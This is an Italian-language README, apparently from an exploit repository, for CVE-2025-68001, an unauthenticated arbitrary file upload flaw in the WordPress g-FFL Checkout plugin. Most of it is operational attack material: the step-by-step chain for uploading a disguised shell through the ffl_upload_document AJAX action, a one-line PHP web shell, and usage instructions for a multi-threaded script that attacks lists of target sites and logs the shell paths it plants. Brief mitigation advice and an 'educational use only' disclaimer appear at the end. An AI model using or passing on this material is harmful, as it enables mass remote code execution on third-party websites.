
WordPress g-FFL Checkout Plugin <= 2.1.0 è vulnerabile a un caricamento arbitrario di file ad alta priorità
Il plugin WordPress g-FFL Checkout <= 2.1.0 è vulnerabile a un Arbitrary File Upload ad alta priorità
_ _ _ _ _ _ _ _ _ _
/ \ / |_ __ ) / \ ) |_ __ |_ (_) / \ / \ /|
\_ \/ |_ /_ \_/ /_ _) |_) (_) \_/ \_/ |
📡 Resta un passo avanti. Unisciti a @KNxploited su Telegram — la tua fonte esclusiva per le ultime CVE, zero-day e ricerca exploit all'avanguardia. Aggiornato costantemente. Non per tutti.
CVE-2025-68001 è una vulnerabilità critica di Unauthenticated Arbitrary File Upload (caricamento arbitrario di file senza autenticazione) scoperta nel plugin WordPress g-FFL Checkout di garidium.
La vulnerabilità consente a un attaccante remoto non autenticato di caricare file arbitrari — inclusi web shell — sul server di destinazione tramite l'azione AJAX ffl_upload_document, portando a completa Remote Code Execution (RCE).
| Campo | Dettagli |
|---|---|
| CVE ID | CVE-2025-68001 |
| Plugin | g-FFL Checkout (g-ffl-checkout) |
| Versioni interessate | n/a fino a <= 2.1.0 |
| Tipo di vulnerabilità | Caricamento file senza restrizioni |
| Impatto | Remote Code Execution (RCE) |
| Autenticazione | Non richiesta |
| Gravità CVSS | Critica |
| Ricercatore | Nxploited |
L'exploit segue una precisa catena d'attacco multi-step:
1. GET /checkout
↓
Extract `checkout_nonce` from inline JavaScript data
2. POST /wp-admin/admin-ajax.php
action=ffl_upload_document
nonce=<extracted_nonce>
document_type=document
document=<shell.php disguised as image/png>
↓
Server stores the file without extension or MIME validation
3. Parse JSON response
↓
Extract uploaded file path / unique filename
4. Access uploaded shell via HTTP
↓
Remote Code Execution achieved ✔️
Il plugin espone un endpoint AJAX ffl_upload_document che:
Installa tutte le dipendenze prima di eseguire:
pip install requests rich
| Dipendenza | Scopo |
|---|---|
requests | Richieste HTTP e gestione delle sessioni |
rich | Interfaccia terminale, barre di avanzamento, pannelli |
threading | Elaborazione multi-thread dei target |
È richiesto Python 3.8+.
CVE-2025-68001/
├── CVE-2025-68001.py # Main exploit script
├── shell.php # Web shell to upload (you provide this)
├── list.txt # Target URLs (one per line)
└── success_results.txt # Auto-generated results output
Crea un file list.txt con un URL target per riga:
https://target1.com
https://target2.com
http://target3.com/wordpress
Lo script antepone automaticamente
http://se non viene fornito uno schema.
Posiziona la tua web shell PHP nella stessa directory. Esempio di shell minimale:
<?php system($_GET['cmd']); ?>
Salvala come shell.php (o con qualsiasi nome — ti verrà chiesto di inserirlo).
python CVE-2025-68001.py
Ti verrà chiesto in modo interattivo:
Enter targets file name (default: list.txt):
> list.txt
Enter shell file name to upload (default: shell.php):
> shell.php
Enter number of threads (default: 50):
> 20
Gli exploit riusciti vengono salvati automaticamente in success_results.txt:
https://target.com | /wp-content/uploads/ffl/abc123.php | abc123.php | shell.php
Ogni riga contiene:
| Prompt | Default | Descrizione |
|---|---|---|
| File dei target | list.txt | File contenente gli URL dei target |
| File della shell | shell.php | Shell PHP da caricare sul target |
| Numero di thread | 50 | Worker concorrenti (max: 50) |
✔ https://victim.com — /checkout reachable. Trying exploit...
┌─────────────────────────────────────────────────────┐
│ Success │
│ https://victim.com │
│ Original Name: shell.php │
│ Unique Name: a7f3c1d9e.php │
│ Stored Path: /wp-content/uploads/ffl/a7f3c1.php │
└─────────────────────────────────────────────────────┘
All targets processed ✔️. Results saved to: success_results.txt
La vulnerabilità risiede nel gestore AJAX del plugin registrato senza controlli di capacità:
// No authentication or capability check
add_action('wp_ajax_nopriv_ffl_upload_document', 'ffl_upload_document');
function ffl_upload_document() {
// Nonce verified from /checkout page (publicly accessible)
// No MIME type validation
// No extension whitelist/blacklist
move_uploaded_file($_FILES['document']['tmp_name'], $upload_path);
wp_send_json_success(['file_path' => $upload_path]);
}
Se sei un proprietario di sito o sviluppatore, adotta immediatamente i seguenti passaggi:
g-ffl-checkout a una versione patchata (> 2.1.0) se disponibile.htaccess).php sospettiTHIS TOOL IS PROVIDED STRICTLY FOR EDUCATIONAL AND AUTHORIZED
SECURITY RESEARCH PURPOSES ONLY.
By using this script, you explicitly agree to the following:
• You have EXPLICIT written permission from the target system owner.
• You are operating in a controlled lab or authorized penetration testing engagement.
• You will NOT use this tool against any system you do not own or have legal
authorization to test.
• The author (Nxploited) holds ZERO liability for any damage, data loss,
legal consequences, or misuse resulting from this tool.